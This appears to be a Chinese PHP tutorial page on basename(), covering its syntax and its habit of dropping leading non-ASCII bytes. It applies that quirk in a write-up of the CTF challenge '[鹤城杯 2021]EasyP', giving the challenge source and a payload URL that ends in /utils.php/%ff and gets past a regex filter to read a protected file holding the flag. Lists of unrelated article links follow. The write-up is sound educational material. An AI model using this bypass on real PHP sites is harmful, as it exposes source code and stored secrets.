basename

定义:

basename() 函数返回路径中的文件名部分。

语法:

basename(path,suffix)

参数 描述
path 必需。规定要检查的路径
suffix 可选。规定文件扩展名。如果文件有 suffix,则不会输出这个扩展名。

basename()函数存在一个问题,它会去掉文件名开头的非ASCII值

例题

[鹤城杯 2021]EasyP

<?php
include 'utils.php'; if (isset($_POST['guess'])) {
$guess = (string) $_POST['guess'];
if ($guess === $secret) {
$message = 'Congratulations! The flag is: ' . $flag;
} else {
$message = 'Wrong. Try Again';
}
} if (preg_match('/utils\.php\/*$/i', $_SERVER['PHP_SELF'])) {
exit("hacker :)");
} if (preg_match('/show_source/', $_SERVER['REQUEST_URI'])){
exit("hacker :)");
} if (isset($_GET['show_source'])) {
highlight_file(basename($_SERVER['PHP_SELF']));
exit();
}else{
show_source(__FILE__);
}
?>

其中

if (isset($_GET['show_source'])) {
highlight_file(basename($_SERVER['PHP_SELF']));
exit();
}else{
show_source(__FILE__);
}

就是我们的突破口,需要我们绕过正则过滤;

构造payload

http://1.14.71.254:28700/index.php/utils.php/%ff?show source

PHP-basename的更多相关文章

  1. pathinfo()、dirname()、basename()获得文件的路径,名称等信息说明

    在PHP中,若想通过函数获得一个文件的路径.名称,或者是扩展名等,是非常容易的一件事.可以使用dirname().basename().pathinfo()等多种途径获得相应的信息. 假设现在有一个图 ...

  2. php路径目录解析函数dirname basename pathinfo区别及实例

    php获取路径.目录或文件名称,我们经常会使用到dirname().basename().pathinfo()这三个函数,本文章向大家详细介绍这三个函数的区别以及使用实例,需要的朋友可以参考一下. d ...

  3. 【转载】关于shell中的basename

    转载自:http://blog.chinaunix.net/uid-20499529-id-1940182.html basename 是去除目录后剩下的名字example:shell>temp ...

  4. 关于Linux系统basename函数缺陷的思考

    某模块作为前台进程独立运行时,运行命令携带命令行参数:作为某平台下守护进程子进程运行时,需要将命令行参数固化在代码里.类似如下写法: char *argv[] = {"./DslDriver ...

  5. PHP中关于 basename、dirname、pathinfo 详解

    basename(url)      返回路径中的文件名部分. dirname(url)       返回路径中的目录名称部分. pathinfo(url)      返回关于文件路径的信息. bas ...

  6. dirname和basename命令

    dirname返回文件所在目录路径,而basename则相反,去掉路径返回最后的文件名. dirname指令 1.功能:从给定的包含绝对路径的文件名中去除文件名(非目录的部分),然后返回剩下的路径(目 ...

  7. 翻译之basename()

    NAME top basename, dirname - parse pathname components SYNOPSIS top #include <libgen.h> char * ...

  8. dirname basename 截取路径中的目录以及文件名

    dirname basename    截取路径中的目录以及文件名 windows 下面: #include "shlwapi.h"#pragma comment(lib, &qu ...

  9. php 使用pathinfo(), parse_url(), basename()解析URL

    本文章向大家介绍解析URL的三种方法,分别为pathinfo()方法.parse_url()方法和basename()方法.每个方法都列举了一个实例,通过实例更容易理解这三个函数的使用方法和技巧,需要 ...

  10. c++ dirname() basename()

    http://linux.about.com/library/cmd/blcmdl3_dirname.htm #include <iostream> #include <libgen ...

随机推荐

  1. C++面试八股文:知道std::unordered_set/std::unordered_map吗?

    某日二师兄参加XXX科技公司的C++工程师开发岗位第27面: 面试官:知道std::unordered_set/std::unordered_map吗? 二师兄:知道.两者都是C++11引入的新容器, ...

  2. PHP file_put_contents()写入配置文件

    php把提交的数据写入到配置文件中 在后台可以设置网站的基本信息,例如:title,keywords,copyright.等信息,这些信息只是一条数据,存入数据库耗费资源,直接写入到php文件中. 创 ...

  3. 企业级GitLab搭建

    企业级GitLab搭建 一.简介 1.GitLab概述 是一个利用 Ruby on Rails 开发的开源应用程序,实现一个自托管的Git项目仓库,可通过Web界面进行访问公开的或者私人项目. Rub ...

  4. 即构发布 LCEP 产品「RoomKit」 ,实现房间内0代码接入

    2021年2月5日,即构科技正式发布全新形态「低代码互动平台」(Low-code Engagement Platform,简称LCEP)产品「RoomKit」. RoomKit定位为低代码互动平台(L ...

  5. Mybatis(Map)

    Map 假设,我们的实体类,或者数据库中的表,字段或参数过多,我们应当考虑使用map 创建接口 //万能的mapper,我们不需要知道数据库里面有什么,是一个键值对的表现 //我们只需查询对应的字段 ...

  6. linux 内核的ksm机制

    KSM(Kernel Samepage Merging),是Linux内核中的一种内存优化机制,它能够通过将多个应用程序中的相同内存页合并,实现虚拟内存的节约.KSM通过比较不同进程间的虚拟内存页,如 ...

  7. 在langchain中使用带简短知识内容的prompt template

    简介 langchain中有个比较有意思的prompt template叫做FewShotPromptTemplate. 他是这句话的简写:"Prompt template that con ...

  8. GIT保存记录原理之commit对象

    GIT 中提交对象非常的重要,我们通过它记录代码提交过程.进行文件保存.回退等操作,那么它是怎样帮助我们记录这些信息的呢?其实就是都保存在项目根目录的 .git 文件夹中. 新建空项目 ```gitD ...

  9. [nginx]反向代理grpc

    前言 nginx从1.13.10版本开始提供对gRPC代理的支持.由于grpc基于http2,因此编译nginx时需要添加参数--with-http_v2_module来启用对http2协议的支持. ...

  10. 独奏者2 序章的wp

    0x01 0ctf_2017_babyheap 2023.7.24 国防科技大学 合肥 本题除了fastbin attack,最重要的是伪造fakechunk,使得存放chunk的指针有两个指向同一个 ...